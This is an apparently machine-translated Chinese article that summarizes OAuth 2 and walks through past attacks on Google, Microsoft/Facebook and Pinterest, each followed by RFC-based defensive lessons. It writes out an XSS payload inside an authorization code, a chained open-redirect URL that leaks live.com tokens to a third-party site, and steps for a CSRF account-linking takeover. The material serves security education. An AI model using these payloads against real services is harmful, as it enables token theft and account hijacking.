OAuth 2概述
本文假定读者熟悉OAuth2。但是，下面将对其进行简要说明。
- 该应用程序请求用户授权访问服务资源。 应用程序需要提供客户端ID，客户端密码，重定向URI和所需的范围。
- 如果用户授权了请求，则应用程序将收到授权授权
- 应用程序通过提供其自身身份的身份验证和授权授权，从授权服务器请求访问令牌
- 如果应用程序身份经过验证并且授权授予有效，那么授权服务器将向应用程序发出访问和刷新（如果需要）令牌。 授权完成。
- 该应用程序从资源服务器请求资源，并提供用于身份验证的访问令牌
- 如果访问令牌有效，则资源服务器将资源提供给应用程序
这是OAuth 2.0中的一些主要优点和缺点
- OAuth 2.0更易于使用和实施（与OAuth 1.0相比）
- 广泛传播并持续增长
- 短暂的代币
- 封装令牌
-无签名（仅依靠SSL / TLS），承载令牌
-无内置安全性
-如果由没有经验的人使用可能会很危险
-太多的妥协。 工作组没有做出明确的决定
-移动集成（网络视图）
-Oauth 2.0规范不是协议，而是框架-RFC 6749
更重要的评估
OAuth 2骇客
授权码可以多次使用
Google攻击示例：
- 注册客户编号
- 在授权端点（ https://accounts.google.com/o/oauth2/auth ）中获取授权令牌，例如
- 现在，从
4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
到
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>并要求访问令牌。
如前所述，这将是有效的授权码，并且由于授权码的形式为TOKEN1.TOKEN2且仅验证了TOKEN1而接收到访问令牌！ - 实际上，使用相同的伪造授权码（即
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>重新请求访问令牌，自授权以来已不再接受该授权码。所有这些有趣的部分是令牌端点如何回答不再有效的授权代码，实际上错误响应如下所示：令牌记录：
Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ...
如您所见，输出未经过消毒。
获得的经验：
客户不得使用授权码超过一次。 如果授权代码被多次使用，授权服务器必须拒绝该请求，并应（如果可能）撤消基于该授权代码先前发行的所有令牌。
重定向URI无效
现在让我们假设一个攻击者：
- 向受害者.com提供者注册一个新客户端。
- 注册重定向URI，例如Attacker.com。
然后，攻击者可以制作形式特殊的URI
http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
现在，您可能会争辩说这只是一个开放的重定向，对它您可以做的不多吗？
让我们来看一下Microsoft和Facebook示例：
Microsoft使用专门的OAuth范围wli.contacts_emails，该范围仅适用于Facebook的应用程序。 有趣的是，永远不会通知用户该应用程序正在尝试访问其数据，并且权限会以静默方式授予。
您可以在这里尝试（您必须登录）：
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
如果您尝试修改#### redirect_uri参数，则会注意到令牌已颁发给#### facebook.com域内的任何URL。 因此，要将OAuth令牌泄漏给恶意第三方，将需要#### facebook.com域中的Open Redirect。 由于开放重定向通常被认为是低严重性漏洞，因此找到它并不是特别困难。 对于此示例，我们将在Facebook的授权流程中利用开放重定向（通过提供无效的####作用域参数）。 它是这样的：
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
因此，通过链接这两个错误，我们能够从live.com用户获取OAuth令牌。 完整的示例在这里：
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
如果现在检查目标URL，您会发现未经您的同意，Microsoft的OAuth令牌已发送到第三方网站。 另一个示例是重定向到域XSS易受攻击的页面，脚本仍然可以在其中访问令牌。
获得的经验：
OAuth实施绝不应将整个域列入白名单，而应仅将几个URL列入白名单，以免“ redirect_uri”指向开放重定向。 同样，开发人员在静默授予应用访问权限时也应该小心（手动批准应用可能不会使用户体验更糟）。
授权服务器应采用的对redirect_uri的唯一安全验证方法是精确匹配
如果资源所有者拒绝访问请求，或者如果请求由于丢失或无效的重定向URI以外的原因而失败，则授权服务器通过使用“ application / x-www”将以下参数添加到重定向URI的查询组件中来通知客户端-form- urlencoded“格式
响应以HTTP 400（错误请求）状态代码。
跨站点伪造OAuth客户端
针对客户端重定向URI的CSRF攻击使攻击者可以注入自己的授权代码或访问令牌，这可能导致客户端使用与攻击者的受保护资源关联的访问令牌，而不是与受害者的资源关联的访问令牌（例如，将受害者的银行帐户信息保存到由攻击者控制的受保护资源）。
选择适合黑客的“条件”的客户端-一些site.com（我们将使用Pinterest作为展示）开始身份验证过程-单击“添加OAuth提供商登录名”。 您需要从提供程序获取回调，但不应访问它。
不能访问该做最后URL（ http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ），只是保存并把它的img进入SRC =“网址”或iframe或什么否则，您希望发送请求。
现在，您需要做的是使用户（某些目标用户或随机site.com用户）在回调URL上发送HTTP请求。 您可以强迫他访问example.com/somepage.html，其中包含iframe src = URL，在他的墙上张贴img，向他发送电子邮件/推文，等等。 用户发送请求时必须登录site.com。
做得好，您的oauth帐户已附加到site.com上的用户帐户。
瞧，按“使用该OAuth提供商登录”-您直接登录到site.com上的用户帐户
获得的经验：
客户端必须为其重定向URI实现CSRF保护。 通常，这是通过要求发送到重定向URI端点的任何请求包括将请求绑定到用户代理的身份验证状态的值（例如，用于身份验证用户代理的会话cookie的哈希值）来实现的。 当进行授权请求时，客户端应该利用“状态”请求参数将这个值传递给授权服务器。
一旦从最终用户获得授权，授权服务器就会使用“ state”参数中包含的所需绑定值将最终用户的用户代理重定向回客户端。 绑定值使客户端可以通过将绑定值与用户代理的身份验证状态进行匹配来验证请求的有效性。 用于CSRF保护的绑定值务必包含不可猜测的值，并且用户代理的身份验证状态（例如会话cookie，HTML5本地存储）必须保存在仅客户端和用户代理可访问的位置（即受保护的）根据原产地政策）。
针对授权服务器的授权端点的CSRF攻击可能导致攻击者获得恶意客户端的最终用户授权，而不会涉及或警告最终用户。
授权服务器必须为其授权端点实施CSRF保护，并确保未经资源所有者的知情和明确同意，恶意客户端无法获得授权。
URI的访问令牌部分
由于与URI方法相关的安全性弱点，包括包含访问令牌的URL被记录的可能性很高，因此，除非无法在“授权”请求标头字段或HTTP请求实体。 资源服务器可以支持这种方法。